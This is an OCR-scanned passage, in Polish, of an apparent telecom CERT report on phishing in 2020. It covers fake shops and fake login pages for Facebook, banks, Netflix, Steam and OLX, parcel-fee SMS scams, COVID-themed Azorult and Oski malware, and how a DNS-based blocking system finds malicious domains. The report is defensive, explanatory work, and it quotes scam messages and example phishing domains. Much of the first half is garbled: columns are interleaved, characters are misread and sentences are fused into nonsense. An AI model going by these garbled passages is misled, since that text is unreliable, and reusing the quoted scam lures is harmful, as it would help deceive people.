O Y ey @ Mekfee lubiszto.is-best.net/ 2020-05-07 08:15 - nanumer

mojekobe.js-bestnet/  2020-05-07 08:18 - 92580
pafiilate byethost32.> 2020-05-07 08:18 -

W odpowiedzi otrzymasz kod, ktdry nalezy podac ponizej:

Na tej stronie zaktadamy konto, wptacamy ok 1000 zt,
zeby rozpocza¢ gre, a nastepnie strona szybko znika.
To jeden z najpopularniejszych rodzajéw zagrozenia.
W 2020 roku zaobserwowalismy i zablokowalismy przy
pomocy CyberTarczy tysigce domen phishingowych

Powyzej odkryty zbiér domen wygenerowany przez
przestepcow, tylko jednego dnia.

Klikajac Oddaj Glos!, oswiadczam, ze zapoznatem/am sig i akceptuje regulamin.

Dane logowania do serwiséow

pochodzacych z tego rodzaju kampanii. Rozmiar sz
zagrozenia bierze si¢ prawdopodobnie z jego SpO*GCZ“OSClowyCh Tym razem to SMS Premium. W regulaminie nie ma informacji
. multiwektorowosci. o tym, co to za konkurs ani kto jest jego organizatorem. Co
Ekskluzywny wywiad z Robertem o - ciekawe, ten schemat rozsytania phishingowych domen tylko
Praw omo ‘ przez chwile prowadzit do SMS-6w Premium, w wiekszosci
z zy¢ swoj kapit: A . przypadkoéw do... fatszywej strony logowania do Facebooka.
i Zory sprzedam, kupie,
- b " spresdam. kP
30 wrz 2020

Pilnie oddam pieski rasy York! Psiaki musza szybko
znalez¢ nowy dom. Prosze, UDOSTEPNIJ!

http://olx-polski.dfirma.pl/
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Zwykle konczy sie to w ten sam sposob: Czasem chcemy komus$ poméc: Innym razem, ze nasza paczka do nas nie dotrze:

Fatszywe sklepy internetowe

0 Zalogy we g2 Facebsce X+

o e Informacie o proesyics k{ Magshie Danskie riecigee Q) AZsogiSy W00 g
Sjeriredis
OGOLNOPOLSKA e
ZBIORKA

i NA WALKE Z
. COVID-19
2

WSPIERAMY POLSKA
TN SEUZBE ZDROWIA

Tewkani bod prevyiki
By dledzic g w mm

Fatszywa strona logowania, réznigca sie od prawdziwej
tylko adresem. Po wpisaniu loginu i hasta dane logowania
do serwisu spofecznosciowego zostajg przejete.

Ofiary czesto nie wiedzg, ze przekazaty dane logowania. w Potrzebujacy zweryfikowany przez Fundacje i e ERE T T
Tymczasem przestepcy, co jakis czas, logujg sie na przejete Siepomaga Mozna tez tak:
konta by zdobywac¢ dane dostepowe kolejnych znajomych.

Starajg sie tez spienieza¢ zdobyte kontakty przez oszustwo " Zomostssaie £ st ekl dsfonym i i sostse :a plemszy rzgt oka wszyﬁtko sie Izgfadzai?’je(jjnak r|1(|e ma
. . wigzan iej tr: cji szym i |
na ,,BLIK” lub przez promocje fatszywych kasyn czy serwisow 3 7 1 43 1 0 O Z-I' AlI€QIO, e guiowane. Prosimy o jak najszybsze wpiacenie naleznosci w anye llrmy, nie n,"|a e-mal %a.m telefonu. Barazo s _apy Jest
9 wysokosci 1.98. Jesli wplata nie zostanie Zaksiegowana w przeciagu 24 tez wybdr sposobow ptatnosci. Sama domena zarejestrowana
randkowych. : godzin na konto zostanie naloona blokada. Jekeli wplaty nadal nie . K R . , P
WSPARLEO 10 217 OSOB bgdzie - zadluzenie zostanie przekazane do jednej z firm zaledwie parg dni wczesnie). Takich sklepow, dla roznych marek

windykacyjnych.

Préba kradziezy danych dostepowych do Facebooka to, obok odziezowych zostato zafozonych kilkaset w 2020 roku.

fake newsow kryptowalutowych, najpopularniejszy rodzaj Ay crikingé blokady kot prosimy  wpla 1.58 1 w ciag ik by edeitlcre

o Okazja czyni ztodzieja. Tym razem okazjg byt Black Friday,
oo sgracs Raearins Ko ponizej dowdd, ze kazda strona moze zosta¢ podrobiona:

ataku na polskich internautéw w 2020 roku. A powyzszy (7 WESPFZVJ
screen to bez watpienia najczesciej wyswietlajacy
sie obrazek w polskim phishingowym internecie.

: .
Dane |ogowan|a do systemow ] , Przykiady mozna mnozy¢, natomiast zwykle wszystkie e
b an kowych A czasem ktos chce nam odtgczy€ prad: te ataki konczyly sie na, podobnym do ponizszego,
panelu ptatnosci:
Tu sposobow jest naprawde multum. Od SMS-6w e
nawigzujgcych do aktualnych wydarzen: 7= B8 "Enea RWE & Rachunck za energie elektryczng
D DT z S i i o P Sy 4 g

28 Finalu WOSP R

zebralismy juz 2,6 -

min zI! Wspomoz nas e

wplata On-Line na

https://wosp.online - Weybrane procuaty Appie

Gramy do konca @ m

swiata i jeden dzien c . L . STREFA

Al zasem kto$ nam wmawia, ze nasza ustuga wygasa: e ik Voo

_ jl APPLE . .
Podajemy login i hasto, przepisujemy kod SMS i koriczy "o
Po takie, ktdre sg niespodziewane, wprowadzajg niepokdj, @ SmartCare sie na catkowitym wyczyszezeniu konta bankowego.
wymagajg szybkiego dziatania i niewiele kosztuja: ‘mmmm Jedyny ratunek to niestety bardziej czasochfonne sposoby
weryfikacji. W tym konkretnym przypadku nawet dane Who is
Witamy w ustudze SmartCare! wydawaly sie prawdziwe, a jednym z koronnych dowoddw

Status Twojej przesylki nr . fon b w sprawie nielegalno$ci strony byt panel ptatnosci:
82210001244 to wstrzymana. praed

Powodem brak oplaty dezynfekcyjnej st & — mediaexpert O
w kwocie 1.40 PLN. Oplac, aby

s S S | I B

Ptatnos¢ kartg

paczka ruszyla htt
)

Visa Mastercard

Mumer karty *
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Bez wyboru bankdw czy innych powszechnych rodzajow
internetowych ptatnosci.

Drogi uzytkowniku Orange, Gratulujemy!

rTex nasepee T ol (Shpesef 12 -» Seyersh 18, aby [cirighiwat Swesim uTytOwieom Tk kpnedt | karTystanke T

FrRzETHem, Wt AT Appie Phore X1,

o 8 TR Tk ERSTy I i 1 TAgFATRNG, 3

Jak bardzo jestes zadowolony z Orange?

Platne subskrypcje

Pod pozorem okazjonalnego konkursu mozemy
wygraé darmowy aparat telefoniczny. W rzeczywistosci,
podajemy dane karty i zapisujemy sie na abonament

za np. 60 EUR miesiecznie:

Nowe Galaxy juz tu jest.

Galaxy §10+

Na subskrypcje mozna sie nieSwiadomie zapisac lub...
straci¢ pienigdze, gdy prébuje sie zrezygnowac:

REZYGNACJA Z UStU

Rezygnuj

Co w linku? Panel ptatnosci, przy pomocy ktérego tracimy

dane logowania do bankowosci elektronicznej, lub
dane karty pfatnicze;j.
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Dane logowania do platform
z grami

Powyzej nieprawdziwy panel wymiany przedmiotéw
ze Steam, oczywiscie w efekcie tracimy dane logowania
do tej platformy.

Warto przypomnie¢ rowniez nietypowy atak w celu przejecia
danych logowania do banku:

Ustuga Top GRY zostata wytaczona

W dniu dzisiejszym aktywna ustuga Top GRY na Twoim numerze telefonu
zostata wytaczona. P jost brak odnotowane] ptatnotci za dostep
do bazy gler od dnia 12.06.2020r do 12.07.2020r.

Prosimy o dokonanie zalegtej ptatnodci 9,99zt do dnia 15.07.2020r.

W przypadku braku wptaty zgodnie z regulaminem éwiadczonej ustugi
zadtutenie dnia 16.07.2020r. zostani L wirznej firmie
windykacyjnej.

ywacja ustugi bedzie po

Dokenaj zalegle] optaty w kweocie 9,992t szybkim przelewem w systemie
SmartPay.

To strona powitalna, potem wybieramy bank:

SMARTFAY

Szybkie przelewy internetowe

PED Dank Polska.

Wyblerz bank

Wpisujemy login i hasto, a nawet inne dane wrazliwe:

SMARTFAY

Srybkie przelewy internetowe

Ptatnosé za ustuge Top GRY
Kwota transakcji: 9,99zt

Wymagana dodatkowa weryfikacja.

‘Wprowadt vwéj numer PESEL:

I |

‘Wprowadi narwisko panlerskie matki:

I |

Efekt? Do przewidzenia.

Dane osobowe

Tego rodzaju zagrozenie by¢ moze nie do konca nalezy
uznawac za phishing, jednak uzycie znakdéw marki bez jej
zgody oraz gaszcz ukrytych zgdd marketingowych sprawiaja,
ze bony trafiajg do tego zestawienia.

ROSSMANN
KLIKNL TUTAJ
-

W efekcie przejscia catego procesu dzielimy sie z duzg
liczba firm swoimi danymi osobowymi:

IDE DALEJ

Nawet wszystkie zgody zaznaczajg sie automatycznie.
A bon? Chyba byt, ale tylko dla pierwszej osoby, ktéra
zresztg dostata takg wiadomos$¢ duzo wczesniej niz my.

Dane dostepowe do ustug
internetowych

Jesli jakis serwis staje sie popularny, zawsze ma szanse
sta¢ sie przedmiotem ataku:

NETFLIX

Twoje czlonkostwo zostalo utracone

Ostatnio nie udalo nam sie zweryfikowac Twoich danych, przechowujemy je na
Twoim koncie | musimy poprosic Cie o zakonczenie krotkiego procesu walidacy
w celu sprawdzenia szczegdidw.

Co powinienem zrobic?
Kliknij na " Sprawdz swoje konto ", aby zaklualizowac swoje informacje. Po

zaktualizowaniu tych informacji, mozesz nadal korzystac z Netflix. Prosze
Kiiknac na ponizszy przycisk, aby rozpoczac

Sprawdz swoje konto

W efekcie tracimy dane logowania do platformy:

Zaloguj sie

Oraz dane karty ptatniczej:

NETFLIX

Wykryto podejrzane logowanie

YDRINY WIS £, Sy Mgl Zwertiat T
Pisiste

==d
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Posréd marek wmieszanych w dziatalno$é phishingowa
zawsze znajdowato sie Allegro, jednak tym razem
najrozleglejszy atak byt na uzytkownikéw platformy OLX.

300 21

S — a —

Atak o tyle nietypowy, ze wymierzony w sprzedajgcych,

a nie kupujacych. Domniemany kupujacy kontaktowat sie
ze sprzedajgcym za pomocg komunikatora internetowego,
podrzucat link, za pomoca ktérego mozna byto odebrac
zaptate za oferowany towar. Ofiara w zamian dzielita sie

z przestepcami danymi karty ptatniczej a nawet danymi
logowania do systemoéw bankowych. Tego rodzaju
dziatalnos$¢ przestepcza wrecz sie rozwijata, CyberTarcza
blokowata ok. 20-30 nowych domen dziennie. Natomiast
przestepcy rowniez rozwijali swoj arsenat np. o nowe
marki wmieszane w proceder:

Odbidr platnosci od kupujacego

500 PLN

Fotelit nosidelio cybex aton §+baza mofix

@ T et

500 PLN

Przejete domeny

Ostatni przyktad to mechanizm wtamania potaczonego
z phishingiem.

Aby oszukaé systemy weryfikacyjne przestepcy wtamujg

sie na dziatajgcy serwer i we wnetrzu dziatajacej strony
np. firmy wstawiajg panel phishingowy. Np. taki:

64

amazon
—
Sign in
Emall {phone for moblle accounts)
Continue J
Need help?

Create your Amazon account

W tym przypadku wtasciciel witryny zgtosit sie do nas po paru
miesigcach z pytaniem, dlaczego jego strona jest blokowana,
nie majgc swiadomosci tego, ze utrzymywat zagrozenie

w swojej infrastrukturze.

Czasem przestepcy uzywajg takiej zaatakowane;j,
podkreslam, caly czas dziatajgcej strony, do wygenerowania
unikalnych subdomen, ktdre to adresy nastepnie trafiajg

do potencjalnych ofiar phishingu. Tak byto w przypadku
ponizszego ataku mailowego:

home.pl

Diriert datvy,

] £ sy w oy H20925
Infcemacye dotyzrace kantyTuscy desiggne 59w Fanely w sshoy Plalnescl
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Dane majg wartos¢

Stata ewolucja atakow i ich rozmiarow tylko potwierdza, ze
dane majg coraz wieksza warto$é. Czy wykradane beda
dane osobowe czy dane logowania i w jaki sposéb bedzie
sie to dziato, zaleze¢ bedzie tylko od skutecznos$ci metody
phishingu i od faktycznego zwrotu z inwestycji. Jesli jakas
metoda nie przynosi oczekiwanych zyskow jest rozwi-
jana, jesli to nie pomaga dosy¢ szybko zostaje zastgpiona
inng, ktéra bardziej sie optaca. Mamy dane, loginy, hasta i
pienigdze, a przestepcy bardzo chcg mie¢ do tego dostep.
Jak bardzo? Zapraszam do opracowan statystycznych
raportu.

Grzegorz Zembrowski

Przy wsparciu naszych systemow, staramy

sie Wam pomagac i jak najwczesniej blokowac
potwierdzone ztosliwe strony. Dzieki temu albo

nie zdotacie Sciagnac fatszywej aplikacii,

albo — w najgorszym przypadku - zainstalowana
aplikacja nie potaczy sie z serwerami przestepcow.




Artykuly ekspertow oraz partnerow

CERT Orange Polska.

Spojrzcie troche w przesztos¢, powiedzmy

na poczatek 2020 roku, gdy zaczyna sie okres,
ktérym obejmujemy nasz raport. Powiedzielibyscie
wtedy, ze rok pdzniej wielu z nas niemal zapomni,
jak wygladaja nasze biura? Ze wiekszo$é roku
spedzimy na home office? Cyberprzestepcy tez
sie tego nie spodziewali. Dlatego w pierwszym
kwartale, gdy medialne informacje po raz pierwszy
opanowat wirus SARS-Cov-2, oni tez musieli

zajg¢ sie sobg i swoimi rodzinami, przezyé
pierwszy szok. Efekt — widoczny ogdiny spadek
ztosliwej aktywnosci.

Spokdj nie mégt jednak trwac wiecznie...

Mapa infekcji ze ztosliwa ,,wktadka”

Do momentu, gdy ogélnoswiatowa pandemia
stata sie faktem, wielu internautéw zagladato
regularnie na mape rozprzestrzeniania sie
koronawirusa. Prowadzona przez Uniwersytet
Johna Hopkinsa witryna byta przez pewien czas
jedna z najpopularniejszych stron na swiecie.

& Corona-Yirus-Map.com

ybal Case

Mainland .
China

South Korea
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Uzytkownicy przyzwyczajeni do jej
charakterystycznego wygladu, zmyleni
socjotechnicznymi sztuczkami Sciggali aplikacje,
majgca rzekomo prezentowaé dane o infekcjach
przy problemach z dostepem do strony WWW.

Co ciekawe, mapa, ktéra pojawiata sie po uruchomieniu
pliku exe, faczyta sie z witryna, pokazujac prawdziwe
dane, ale w tle instalowata trojana Azorult.

Jego ,,dodatkowa” aktywnos¢ polegata

na wykradaniu danych (loginy, hasta, numery kart,
historia przegladania, dane dotyczace kryptowalut)
oraz zaktadania w tle dodatkowego konta
administratora, otwierajgcego zdalny pulpit

z petnym dostepem dla przestepcy

do komputera ofiary.

Przestepcy takze szybko ,stuningowali” popularne
strony fake newsowe, czyniagc ich motywem obarczone
emocjonalnymi tytutami informacje o rosnacych
lawinowo zakazeniach koronawirusem. W jednym

z przyktaddw na stronie widniat ,,film” z wypowiedzig
lekarza ze szpitala COVID-owego, a jego obejrzenie
warunkowano weryfikacja wieku przez logowanie

na Facebooka. Fatszywego Facebooka, oczywiscie!
W kolejnych krokach juz tradycyjnie — przejmowanie
tozsamosci i np. wysytanie do znajomych w naszym
imieniu présb o pozyczenie kilkuset ztotych

przez BLIK-a.

Hubei Mainland

China

Henan Mainland
China

Guangdong Mainl

and China

Zhajiang Mainland ¥

+

| Eari, FAD, NOAA |

Informacje (i malware)
na klikniecie mysza

Kolejne tygodnie to kolejne pomysty, ktére tak samo
szybko wygasty, jak sie pojawity. W sytuacji, gdy caty
Swiat szukat informacji o nowym zagrozeniu dobrze
sKlikaty” sie tricki, ktére te informacje miaty im podsunaggé.
Nie zabrakto tradycyjnych juz atakéw na routery

D-Link i Linksys, zmieniajgcych ustawienia DNS

na dostepnych z internetu urzadzeniach (z domysIinymi
poswiadczeniami logowania, bgdz hastami dajgcym

sie tatwo ztamac). W kolejnym kroku do ruchu

z 14 konkretnych domen (z jednej strony skrétowce
goo.gl i bit.ly, Amazon AWS, ale tez Disney.com,

czy xhamster.com) przestepcy wstrzykiwali ramke

o mozliwosci instalacji ,przygotowanej przez WHO”
aplikaciji informacyjnej o COVID-19. Co instalowalismy?
Trojana Oski, popularnego na rosyjskich forach
przestepczych, wykradajgcego loginy i hasta z
przegladarek oraz dane powigzane z kryptowalutami.

Komputerowy antywirus na...
prawdziwy COVID?

conoa 3§ arrr

Coronad Antivirus
— World's best
protection

Bywaty tez pomysty, ktére mozna by okresli¢ mniej

lub bardziej... szalonymi? O ile mozna uwierzy¢ w to,

ze ludzie zaptacg (w analizowanym przez nas przypadku
0,75 EUR), by pozna¢ lokalizacje oséb zainfekowanych
SARS-Cov-2, to juz wiara w to, ze dziatajgca aplikacja
na PC moze ochroni¢ nas i wspétmieszkancéw przez
zarazeniem koronawirusem jest... Stowo ,niepojeta”
wydaje sie by¢ w tej sytuacji odpowiednie.

No i oczywiscie nie mogto zabrakngé mutacji

znanego juz od kilku lat sextorsion. W klasycznej

wersji oszust sugerowat, ze majgc kontrole nad kamerg
laptopa widziat ,,zabawy” ofiary przy ogladaniu stron
pornograficznych. W tym przypadku napastnik po prostu
twierdzi, ze wie wszystko o ofierze i moze zainfekowac
ja koronawirusem. Jak? Tego nie zdradza.

Nie zapominajmy oczywiscie o kampaniach
najprostszych w przygotowaniu i realizaciji, dlatego
mozliwych do przeprowadzaniach w olbrzymich
wolumenach - socjotechnicznych SMS-ach.
Wiadomosci o konieczno$ci doptaty za dezynfekcje
paczki to pierwsze ataki uzywajgce na tak olbrzymig
skale fatszywych bramek ptatnosci on-line.

Przy zachowaniach mediéw, polaryzujgcych emocije

i nierzadko histerycznie straszgcych przed pandemig,
osoby nieswiadome cyberzagrozen bez namystu klikaty
w link i wierzac, ze wpfacaja drobne, kilkuztotowe kwoty,
podawaty oszustom loginy i hasta do banku.

Skala rejestrowanych przez przestepcéw domen

i fatszywych bramek wskazuje na to, ze zwrot z tej
specyficznej inwestycji musiat by¢ naprawde spory.

Na te ataki internauci faktycznie sie tapali.

Te, sugerujgce zalogowanie, by ,zatrzymac
obowigzkowa wptate 1000 PLN na rzagdowe fundusze”
byly juz zbyt grubymi niémi szyte.

Jak sobie z tym poradzi¢?

Tak naprawde ataki ,,covidowe” wcale nie byty

jakos ekstremalnie wyrafinowane — ich najwiekszym
problemem byt wtasnie gtéwny motyw, wywotujacy
szereg lekéw i obaw. By poradzi¢ sobie z kazdym

z opisywanych atakéw, wystarczyto... zwolnié.

Mimo duzych emocji wokot tematyki koronawirusowej
poswiecic¢ wiecej czasu, by zastanowic sie,

co tak naprawde do nas dotarto? Czy spodziewatem
sie tego maila? Czy ta strona ma podejrzany adres?
Czy ten plik zawiera wazne dla mnie informacje

i musze go otwiera¢? A moze wrzuce skroétowiec

z SMS na strone rozwijajacg skréty i upewnie sie,
czy ogole go klikac?

Nie zawsze jest potrzebny antywirus. Wystarczy
czas, spokéj i zdrowy rozsadek.
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Od phishingu do...
StopPhishingu

2 min 617 tys. 110. Prawie 3 milionom z Was CyberTarcza
uniemozliwita wejscie na potwierdzong, phishingowa
strone. 32106 nowych witryn dodanych, 24601

(z czego 24204 za jednym razem, w ramach ,sprzatania”)
— usuniete. Jak widzicie, w ubiegtym roku w aspekcie
ochrony przed phishingiem sporo si¢ dziato. A jak wyglada
caly ten proces, ktérego koricowy efekt widzieliScie fgcznie
przeszto 40 miliondw razy?

5 CyberTareza Orange

Uwaga, zagrozenie

‘CyberTarcza Orange powstrzymela prébe phishingul

‘Widzisz g strone, poriewaz prawdopodobiie kiknalesias w podejzany ink w maiu lub na sronie internelowe}.
‘Strona, na kiéra probujesz weis, lo potwierczona witryna . prébuiaca wyludzié od Ciobio dano
‘wrazinwe, udajec strong znanego serwisu/marki, Proba wefécia na flszywa sirong zostala zablokowana przez.
‘CyberTarcze. Wiasciwy adres strony znajdziesz ponize)

- N\

Zly adres:
Prawidiowy adres:
(adres i jest ikainy — zaznacz go kursorem, skopiuj 1 widej do przegladarki)

Z walka z phishingiem jest troche jak z wywiadem
wojskowym. Moze to analogia nieco przesadzona,

ale z drugiej strony — my tez zaczynamy od umieszczenia
swoich agentéw wszedzie, gdzie mozemy. | podobnie
jak prawdziwi szpiedzy — wmieszawszy sie w ttum,

po prostu obserwujemy, by na koniec przekazac strumien
surowych informacji do analitykéw.

2 min 617 tys. 110

Prawie 3 milionom z Was

CyberTarcza uniemozliwita
wejscie na potwierdzona,
phishingowa strone

Réznica oczywiscie jest taka, ze u nas ludzie sg dopiero
na samym korcu procesu, catg reszte mozolnej roboty
oddajgc sieciowym sondom. Kluczowe w tym wszystkim
sg serwery DNS Orange Polska, odpowiedzialne

za przeszto 1/3 ruchu sieciowego w polskim internecie.
Mozliwos$¢ analizy - anonimowej oczywiscie, tego co przez
nie przechodzi, daje nam wyjatkowa mozliwo$é wykrycia
zagrozen zanim bedg miaty miejsce. To niemal jak
~pre-crime” w filmie Raport Mniejszosci. Z tg réznica,

ze tu przewidujemy ztosliwg cyberaktywnos¢, tym
doktadniej, im dtuzej uczymy schematéw nasz autorski
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system sztucznej inteligencji. No i tutaj faktyczny
atak musi jednak nastgpi¢, bysmy zdotali go wykry¢,
tym niemniej szybko$¢ reakcji naszych systemow
mozna mierzy¢é w minutach.

Czego szuka nasz ,,cyfrowy pracownik”? Przyglada

sie np. ,odpukujacym sie” po raz pierwszy na naszych
DNS-ach domenom. Sprawdza je pod katem kluczowych
stéw i ciggdbw znakdw, ale takze charakterystycznej

dla kampanii konkretnych grup przestepczych sktadni

w nazwach domen. Do tego oczywiscie automatyczne
skorelowanie tych danych z datg zatozenia domeny czy
uzyskania certyfikatu SSL i serwisem, za posrednictwem
ktdérego to sie odbyto. Zerkamy tez, czy klienci nie
prébuja ,,dobija¢ sie” do domen w infrastrukturze
sieciowej o budzgcej watpliwos$¢é reputacii. lle nowych
domen sprawdzamy tygodniowo? Srednio blisko

700 milionow (!), ale w tej grupie zawarte sg tez wpisy
pojawiajgce sie w naszych DNS-ach, ale de facto nie
istniejace (NX domain). Ostatecznie automaty odsiewajg
tygodniowo okoto 1000 domen, z ktérych 85-90% trafia
na blokade.

Z tymi danymi uzyskania certyfikatu strony to juz jest
prawdziwe pre-crime. Rejestracja certyfikatu sitg rzeczy
wystepuje przed pierwszym atakiem, a nasze algorytmy

w sprzyjajgcych warunkach sg w stanie nas ostrzec o mocno
podejrzanej domenie zanim cokolwiek zacznie sie dziac!

Tymi (i jeszcze paroma innymi) danymi ,karmi” sie

nasza sztuczna inteligencja -w zaleznosci od wyniku
przydzielajgca domenom odpowiednig ocene punktowa.
Przy wystarczajgco wysokiej, witryny sg analizowane
szczegbtowo (np. screenshoty automatycznie
poréwnywane z wzorcami) i na tym poziomie moga zostaé
zablokowane bez udziatu czynnika ludzkiego.

Te oceniane nieco nizej trafiajg do dodatkowej analizy
operatora Security Operations Center. Ostatni stopien
to ekspert trzeciej linii, ktory w przypadku watpliwosci
szczegobtowo analizuje domene i tre$¢ strony.

Jesli potrzeba, kontaktuje sie nawet z faktycznym

lub domniemanym wtascicielem, by upewnic sie,

czy mamy do czynienia ze ztosliwg trescia.

Oczywiscie serwery DNS to nie jedyne Zrodto informagii,

z ktérych korzystamy i ktére moga ostatecznie trafi¢

na 3. linie wsparcia. CERT Orange Polska korzysta rowniez
z szeregu zewnetrznych feedéw (w tym réwniez od NASK).
Przez ostatnie lata rozwineliSmy wspotprace operacyjna

z dostawcami ustug marketingu SMS. Uzyskane od

nich informacje wielokrotnie pozwolity nam zablokowac¢
duze kampanie phishingowych wiadomosci najp6zniej

po serii testowych SMS-6w, zanim trafity do szerokiej
grupy odbiorcéw.

No i — last, but not least — nasi nieocenieni internauci/
czytelnicy. Dla nas, jednostki CERT, to bardzo wazne,
iz tak wielu z Was trafiajgc na potencjalnie podejrzane tresci

niejako automatycznie przesyta je na cert.opl@orange.com.

To dowdd Waszego zaufania. Kazda taka informacja jest
dla nas bardzo wazna i kazdg sprawdzamy.

Michat Rosiak

Komentarz Partnera:

Ireneusz Tarnowski

Ekspert w Zespole Analiz i Reagowania na Cyberzagrozenia
w Santander Bank Polska, gdzie zajmuje sie taktycznym
oraz operacyjnym Cyber Threat Intelligence. Analizujac
zagrozenia w cyberprzestrzeni oraz TTP (techniki, taktyki
i procedury) w atakach ocenia potencjalny wptyw na
organizacje i opracowuje plany reakcji na pojawiajace
zagrozenia. Lider w obszarze zarzadzania cyberincydentami.
Angazujac sie w opracowywanie metod wykrywania

oraz analize zagrozen szeroko rozumianej infrastruktury
informatycznej, przygotowuje techniczne oraz
organizacyjne rozwigzania majace na celu zwigkszanie
poziomu bezpieczenstwa organizaciji.

Krajobraz phishingow

Rok 2020 odmienit codzienne zwyczaje Polakdw,

w szczegolnosci wykorzystanie przez nich internetu oraz
narzedzi cyfrowych. Ograniczenia spoteczne zwigzane z zyciem
w dobie koronowirusa zaowocowaty dynamicznym zwigkszeniem
aktywnosci w sieci komputerowej. Niemal z dnia na dzien
znaczaca czes$¢ spoteczenstwa musiata zaczaé pracowac
zdalnie, uczy¢ sie na odlegtosé, robi¢ zakupy przez internet,

a komunikatory oraz media spotecznosciowe staty sie
podstawa w codziennej komunikacji, nawet z najblizszymi.
Transformacja cyfrowa, ktéra ma miejsce, zaistniata nie tylko
w firmach i organizacjach, ale moze nawet przede wszystkim,
w codziennych dziataniach kazdego cztowieka. Szybkosc,

z jakg wdrazano narzedzia i ustugi cyfrowe pomagajace
zaspokaja¢ codzienne potrzeby zyciowe, nie znalazta
odzwierciedlenia w zmianie mentalno$ci odbiorcéw tych ustug.

Phishingi, vishingi i smishingi to socjotechniki, ktére
wykorzystujgc podszywanie sie pod innych, majg na celu zma-
nipulowanie ofiary, by wykonata oczekiwane przez przestepce
czynnosci. ObserwowaliSmy dziatania zwigzane z firmami
kurierskimi, bankami, dostawcami wszelakich ustug, czy nawet
podawanie sie za operatorow telekomunikacyjnych. To wszy-
stko juz przed rokiem 2020 goscito w naszej przestrzeni. Ataki
phishingowe zbieraty catkiem sowite zniwo. Cel byt jeden:
pozyskac dane do bankowosci elektronicznej lub numery kart
kredytowych ofiary, a bankowych w kolejnym kroku, okrasé.
Trzeba mie¢ $wiadomosé, ze nie sg to wyrafinowane ataki
hakerskie - nie ma tu wtamania do systeméw ofiary czy banku.
Ich sita tkwi w jakosci socjotechniki, czyli scenariuszu operaciji
i przekonaniu odbiorcy, ze przedstawiona historia to prawda.

| tu do gry wkroczyta pandemia COVID-19 i trudna sytuacja
spoteczna prowadzaca do znacznie czestszego korzystania

z ustug internetowych oraz komunikaciji sieciowe;.

Oprécz dotychczasowych uzytkownikow, pojawita sie duza
grupa oséb mniej Swiadomych zagrozen, bezkrytycznie
wierzacych w to, co w internecie sie pojawia. W takiej sytuaciji
(nawet gdyby przestepcy nie modyfikowali swoich dziatan)

to okolicznosci bardzo zaczety oszustom sprzyjaé:

B pojawienie sie nowej grupy potencjalnych ofiar,

m sprzedaz w internecie wzrosta kilkukrotnie, momentami
zastepujac catkowicie tradycyjna forme handlu,

m niemal kazdy czeka juz na jakas przesytke.

Taki stan rzeczy musiat doprowadzi¢ do wzrostu
skutecznosci atakéw phishingowych. Mnozyly sie
podejrzane domeny prowadzgce do fatszywych: bramek
ptatnosci, paneli bankowosci elektronicznej, sklepow,
aukcji, portali ogtoszeniowych czy firm kurierskich.

Dla przestepcédw wszystkie dotychczasowe dziatania byty
jednak niewystarczajgce i dostosowujac sie do nowej sytuaciji
postanowili wykorzysta¢ scenariusze oparte na strachu przed
pandemia. Od jej poczatku — w marcu i kwietniu 2020 roku

- zaczely pojawiac sie grozne kampanie z SMS-ami
informujgcymi o tym, ze ze wzgledu na sytuacje nadzwyczajng
pieniadze klientéw zostang zablokowane na koncie, czy
prosby o zapisanie sie na szczepienie poprzez ustugi Profilu
Zaufanego. Oczywiscie w kazdym przypadku przestepcy
kierowali ofiary do fatszywych stron logowania do bankowosci.

Organizacje, firmy i spotecznosci podjety trud walki

z phishingami poprzez kampanie informacyjne oraz
rozwigzania techniczne ograniczajgce to zjawisko. Mowa

tu o wykrywaniu ztosliwych domen podszywajgcych sie

pod banki, firmy i inne instytucje oraz ochronie uzytkownikéw
Internetu poprzez ich blokowanie. Patrzac globalnie,
rozwigzania bardzo pomagajg, ale sg skuteczne tylko wtedy,
gdy sg wdrozone w sposob spdjny, dlatego niezmiernie
wazne jest by walka z phishingami byta prowadzona przez
wszystkich dostawcow ustug sieciowych (banki, urzedy,
stuzby panstwa i zespoty bezpieczenstwa operatorow
telekomunikacyjnych). By podejscie, ktére prezentuje
CyberTarcza, stato sie powszechne zaréwno u duzych,

jak i matych dostawcow internetu.

Drugim waznym czynnikiem, jaki musi zaistnie¢, by ataki
phishingowe nie byty skuteczne jest zmiana po stronie
bankéw i ich klientdw. Kluczowe jest wzmocnienie
bezpieczenstwa transakcji podczas jej potwierdzania.

Z pewnoscig odejscie od wykorzystania SMS-éw na rzecz
potwierdzania transakcji w aplikacji bankowej moze
zmniejszy¢ skuteczno$¢ phishingéw. W aplikaciji bank
przekazuje wiecej informaciji i sposéb prezentacii jest bardziej
jednoznaczny. Obecnie, niemal kazdy udostepnia takg metode
autoryzacji, a zapewnia ona wigkszg kontrole i ochrone.

Jednak najwazniejszym elementem ograniczajgcym jest
czynnik ludzki. Jako spoteczeristwo musimy zacza¢ rozumiec,
ze w cyberprzestrzeni przestepcy bardzo chetnie wykorzystujg
naszg niewiedze. Dlatego zasada ograniczonego zaufania

do otrzymywanych komunikatow oraz weryfikacja
prawdziwosci informacji musi by¢ naszym nawykiem.
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Phishing SMS w czasach zarazy

W poprzedniej edycji Raportu duzo miejsca poswiecilismy tematowi phishingowych kampanii SMS, ktére miaty miejsce w roku
2019. W kolejnych miesigcach spodziewali$my sie zwyktej kontynuacji doskonale znanego juz zjawiska. Wkroétce okazato sie
jednak, ze rozpoczynajgca sie epidemia koronawirusa pomogta przestepcom rozwing¢ skrzydta swojej kreatywnosci. Z drugiej
jednak strony, zaciesnita i sformalizowata wspoétprace podmiotdéw zajmujgcych sie ochrong polskiej cyberprzestrzeni przed tego

typu zagrozeniami.

Wiadomosé od przestepcow

Wiekszo$é kampanii to znane od lat doptaty do paczek i ogtoszen. Jednak w zwiazku z pandemia, w roku 2020 pojawito sie

kilka zupetnie nowych pomystow.

Rozkiad czasowy i tematyczny phishingowych kampanii SMS

__urzedowe | ~ paczka

rozliczenie

R

towarzyskie | ~chmura | inne

doptata do

mar

kwi

e doptata do _

paczki

lip
sie

wrz

Na poczatku roku, w okresie rozliczania podatku PIT, miedzy
5 do 10% ziosliwych domen zgtaszanych jako dystrybuowane
w SMS, zwigzanych byto z tematyka podatkowa. Jak co roku,
najpierw komunikat: ,,zapomniate$ podpisa¢ zeznanie”,
»hiedoptata 1 PLN podatku”, ,,potwierdzenie konta do zwrotu”,
a potem juz tylko wytudzenie danych logowania i puste konto.
Kategorie te bedziemy dalej oznacza¢ jako ,,urzedowe”.

Tuz przed wybuchem epidemii w Polsce, blokowalismy
sporo stron podszywajgcych sie pod serwisy dostawcéw
pradu, telefonii i internetu. Klienci masowo dostawali SMS-y
o niezaptaconych fakturach i planowanym odcieciu mediéw
